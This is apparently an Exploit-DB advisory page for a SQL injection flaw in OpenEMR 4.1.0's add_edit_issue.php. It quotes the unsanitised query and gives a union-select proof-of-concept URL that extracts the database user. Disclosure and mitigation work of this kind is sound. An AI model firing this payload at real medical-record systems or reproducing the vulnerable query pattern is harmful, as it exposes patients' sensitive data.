Openemr-4.1.0 SQL injection Vulnerability

vendor:

Openemr

by:

I2sec-dae jin Oh

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Openemr

Affected Version From: Openemr-4.1.0

Affected Version To: Openemr-4.1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:open-emr:openemr:4.1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2011

Openemr-4.1.0 SQL injection Vulnerability

A SQL injection vulnerability exists in Openemr-4.1.0 due to improper sanitization of user-supplied input in the 'add_edit_issue.php' script. An attacker can exploit this vulnerability to execute arbitrary SQL commands in the application's database, potentially allowing them to access or modify sensitive data. The vulnerability is located in the '$irow' variable of the 'add_edit_issue.php' script. An attacker can send a specially crafted HTTP request containing malicious SQL statements to the vulnerable script and execute arbitrary SQL commands in the application's database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL commands that are passed to the database. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: [Openemr-4.1.0 SQL injection Vulnerability]
# Date: [2011/10/18]
# Author: [I2sec-dae jin Oh]
# Software Link: [http://sourceforge.net/projects/openemr/files/OpenEMR%20Current/4.1.0/openemr-4.1.0.zip/download]
# Vendor : www.open-emr.com
# Version: [Openemr-4.1.0]
# Tested on: [Windows 7]
---------------------------------------
source of : /interface/patient_file/summary/add_edit_issue.php:

$irow = array();
if ($issue)
$irow = sqlQuery("SELECT * FROM lists WHERE id = $issue");; <--------------------- SQL injection
else if ($thistype)
$irow['type'] = $thistype
proof of concept:
http://[attack url]/interface/patient_file/summary/add_edit_issue.php?issue=0+union
+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--